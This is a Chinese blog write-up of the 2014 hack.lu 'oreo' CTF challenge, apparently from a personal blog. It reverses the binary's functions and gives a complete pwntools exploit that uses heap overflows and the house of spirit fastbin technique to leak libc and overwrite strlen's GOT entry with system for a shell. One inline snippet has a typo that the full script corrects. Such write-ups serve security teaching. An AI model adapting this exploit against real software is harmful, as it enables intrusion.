2014-hack-lu-oreo 堆技巧house of spirit

常规检查

  没有开启 RELRO ,意味我们可以修改 got 表地址。

逆向分析

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: 

Add 函数

unsigned int add()
{
  char *v1; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  v1 = dword_804A288;
  dword_804A288 = malloc(0x38u);
  if ( dword_804A288 )
  {
    *(dword_804A288 + 13) = v1;
    printf("Rifle name: ");
    fgets(dword_804A288 + 25, 56, stdin);
    set0(dword_804A288 + 25);
    printf("Rifle description: ");
    fgets(dword_804A288, 56, stdin);
    set0(dword_804A288);
    ++dword_804A2A4;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}
  • dword_804A288:存储构造的块地址
  • *(dword_804A288 + 13):在块地址的 13 字节处写入上一个块的地址
  • *(dword_804A288 + 25):在块地址的 25 字节处写入 name ,可以写入 56 个字节,这里存在堆溢出
  • *(dword_804A288):在块地址的起始处写入 description ,可以写入 56 个字节,这里存在堆溢出
  • dword_804A2A4:记录 add 次数

Show 函数

unsigned int show()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = dword_804A288; i; i = *(i + 13) )
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

  *(dword_804A288 + 13) 是上一个块的地址,所以 for 通过 *(dword_804A288 + 13) 寻址遍历所有的块,并打印信息。

Order 函数

unsigned int order()
{
  char *ptr; // ST18_4
  char *v2; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  v2 = dword_804A288;
  if ( dword_804A2A4 )
  {
    while ( v2 )
    {
      ptr = v2;
      v2 = *(v2 + 13);
      free(ptr);
    }
    dword_804A288 = 0;
    ++dword_804A2A0;
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

  遍历并 free 掉所有块

  • dword_804A2A0:记录 order 的次数

Leave 函数

unsigned int leave()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(dword_804A2A8, 128, stdin);
  set0(dword_804A2A8);
  return __readgsdword(0x14u) ^ v0;
}

  把 Message 写入 dword_804A2A8 处

show 函数

unsigned int show_0()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("======= Status =======");
  printf("New:    %u times\n", dword_804A2A4);
  printf("Orders: %u times\n", dword_804A2A0);
  if ( *dword_804A2A8 )
    printf("Order Message: %s\n", dword_804A2A8);
  puts("======================");
  return __readgsdword(0x14u) ^ v1;
}

  分别打印 new 次数, order 次数和 message 内容。

利用思路

  首先通过堆溢出泄露出 libc 的基址,然后通过 house of spirit 技术伪造 chunk 获得一个任意地址写的 chunk,然后我们把 system 地址写入 got 表,再次调用函数即可 get shell。

利用过程

泄露 libc 基址

name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24

add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printAddr = libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']

  *(dword_804A288 + 13) 为 dword_804A288 后52个字节, name dword_804A288 + 25 为 dword_804A288 后 25 个字节,所以需要填充 27 个字节

伪造区块到 0x804a2a0

for i in range(0x3e):
	add('a'* 27 + p32(0), 'a')

orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)

orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += '\x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)
order()

  我们想要一个能够让我们任意写的块,就需要用到 fastbin ,因为 fastbin 是 LIFO 的,只要我们 free 和 malloc 一样大小的 fastbin ,就能 malloc 到上次 free 的块。而 free 和 malloc 的时候都需要 size 满足 fastbin 的 index ,所以我们通过 add 0x40 次,将 fack chunk 的 size 改为 40。

gdb-peda$ x /20xg 0x0804a2a8
0x804a2a8:	0x000000000804a2c0	0x0000000000000000
0x804a2b8:	0x0000000000000000	0x6161616161616161
0x804a2c8:	0x6161616161616161	0x6161616161616161
0x804a2d8:	0x0000000061616161	0x0000004061616161

  malloc 的时候还需要绕过 next chunk 的大小判断,而我们的 messge 是从 00804a2c0 开始写的,于是我们可以算的 next chunk 的偏移并改 next chunk 的 size 为 0x40 (大于 2 * SIZE_SZ 且小于 av->system_mem 就可以),这样当我们再次再 add 的时候,就能 malloc 到起始地址为 0x804a2a0 的块。

覆盖 got 表为 system 拿 shell

strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')

  这里首先把 strlen 的 got 表改为 system 地址,然后在 leave 的 set0 函数中还会再次调用 strlen ,就相当于调用了 system(system_got) 和 system('/bin/sh')。因为 system 函数有个特性,system("ls;/bin/sh") 就相当于 sytem("ls"); system("/bin/sh");。

exp脚本

from pwn_debug import *

pdbg = pwn_debug('oreo')
pdbg.local()
r = pdbg.run('local')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

def add(name,desc):
	r.sendline('1')
	r.sendline(name)
	r.sendline(desc)

def show():
	r.sendline('2')

def order():
	r.sendline('3')

def leave(message):
	r.sendline('4')
	r.sendline(message)


name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24

add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printfAddr - libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']

for i in range(0x3e):
	add('a'* 27 + p32(0), 'a')

orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)

orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += '\x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)

#gdb.attach(r)
order()

strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')

#gdb.attach(r)

r.interactive()

成功 get shell

内容来源

[堆利用之 house of spirit](https: //zhuanlan.zhihu.com/p/61546352)

posted @ 2020-02-24 22:53  PwnKi  阅读(760)  评论(0编辑  收藏  举报